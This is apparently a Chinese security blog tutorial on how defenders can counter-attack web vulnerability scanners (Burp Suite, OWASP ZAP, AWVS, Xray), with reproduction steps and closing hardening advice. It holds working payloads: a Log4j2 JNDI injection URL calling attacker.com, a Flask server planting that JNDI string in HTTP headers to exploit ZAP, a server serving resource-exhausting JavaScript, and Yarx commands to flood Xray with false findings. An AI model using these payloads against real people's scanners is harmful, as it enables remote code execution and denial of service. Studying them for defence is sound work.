第125篇:蓝队溯源之burpsuite、zap、AWVS、xray扫描器反制方法与复现
字数 1519 2025-09-01 11:26:11
蓝队溯源之常见扫描器反制方法与复现
前言
本文详细介绍了针对Burpsuite、OWASP ZAP、AWVS和Xray等常见Web安全扫描器的反制技术。这些方法主要利用扫描器内置组件的漏洞或设计缺陷,通过精心构造的payload实现对扫描器使用者的反制。
Burpsuite反制方法
技术原理
早期版本的Burpsuite(2.0及以下)内嵌了低版本Chromium浏览器,并存在以下关键特征:
- 使用
--no-sandbox参数关闭沙盒限制 - 采用
--headless无界面模式 - 内置浏览器版本较低,存在多个Nday漏洞
反制方法
有三种主要触发方式:
-
被动扫描触发:
- 构造包含恶意shellcode的HTML页面
- 当Burpsuite的被动扫描功能分析该页面时,会调用内置浏览器渲染,触发漏洞执行shellcode
-
历史记录触发:
- 在历史记录中点击"Render"按钮可直接触发漏洞
-
Repeater模块触发:
- 在Repeater模块测试漏洞时点击"Render"渲染页面触发
复现要点
- 适用于早期Burpsuite 2.0及以下版本
- 新版Burpsuite已移除
--no-sandbox参数,需先实现沙盒逃逸 - 典型payload可弹出计算器或上线Cobalt Strike
OWASP ZAP反制方法
技术原理
主要利用ZAP扫描器中存在的Log4j2漏洞(CVE-2021-44228),分为两种利用方式:
-
主动利用:
- ZAP <=2.11.0版本的HTTP API接口(默认8080端口)存在Log4j2漏洞
- 构造特殊URL触发漏洞:
http://127.0.0.1:8080/JSON/acsrf/view/optionPartialMatchingEnabled/?apikey=${jndi:ldap://attacker.com/exp}
-
被动利用:
- 构造特殊页面诱导ZAP扫描触发Log4j2漏洞
- 漏洞位于pscanrules-release-*.jar插件中
复现步骤
-
构造漏洞页面:
from flask import Flask, request, make_response app = Flask(__name__) @app.route('/') def index(): resp = make_response('Vulnerable Page') resp.headers['WWW-Authenticate'] = 'Digest realm="test", nonce="123", qop="auth", opaque="456"' resp.headers['Authorization'] = 'Digest username="${jndi:ldap://attacker.com/exp}", realm="test", nonce="123", uri="/", response="789", opaque="456"' return resp if __name__ == '__main__': app.run(host='0.0.0.0', port=8000) -
触发方式:
- 使用ZAP抓包访问该页面
- 使用AJAX Spider爬取该页面
AWVS反制方法
技术原理
利用AWVS JavaScript解析器(Acorn v2.6.5)的设计缺陷:
- 缺乏递归深度和语法树节点数量的资源限制
- 可构造特殊JS代码导致CPU和内存资源耗尽
复现方法
-
构造高消耗JS:
from flask import Flask, make_response app = Flask(__name__) @app.route('/awvs.js') def awvs_js(): js_code = """ function makeLongChain() { var obj = {}; var current = obj; for(var i = 0; i < 100000; i++) { current.next = {}; current = current.next; } } makeLongChain(); """ return make_response(js_code) if __name__ == '__main__': app.run(host='0.0.0.0', port=8000) -
扩展利用:
- 在JS中嵌入内网设备URL,诱导AWVS扫描内网
- 嵌入已知漏洞框架(如Struts2、Log4j2)的URL
Xray反制方法
技术原理
利用Xray的POC匹配机制,构造符合其YAML规则的虚假响应,制造大量误报。
复现步骤
-
使用Yarx工具:
yarx -p ./pocs -l 0.0.0.0:8080 -
扫描触发:
xray webscan --plugins phantasm --html-output yarx.html --url http://target:8080/ -
效果:
- 扫描报告中将出现大量虚假漏洞
- 严重干扰扫描结果的有效性
总结与防御建议
反制技术总结
-
利用内置组件漏洞:
- 浏览器、日志系统等组件的n-day漏洞
- 如Chromium漏洞、Log4j2漏洞等
-
构造误导性响应:
- 制造大量误报干扰扫描结果
- 如Yarx工具针对Xray的反制
-
引导SSRF攻击:
- 诱导扫描器攻击红队所在内网环境
防御建议
-
及时更新工具:
- 使用最新版本扫描器
- 定期检查并更新插件和依赖组件
-
安全配置:
- 避免在生产环境使用扫描器
- 限制扫描器网络访问权限
-
监控与审计:
- 监控扫描过程中的异常资源消耗
- 审计扫描结果中的异常报告
-
沙箱环境:
- 在隔离环境中运行扫描器
- 使用虚拟机或容器限制潜在影响
通过理解这些反制技术,蓝队人员可以更好地防御潜在的攻击,同时红队人员也能意识到扫描过程中可能面临的风险。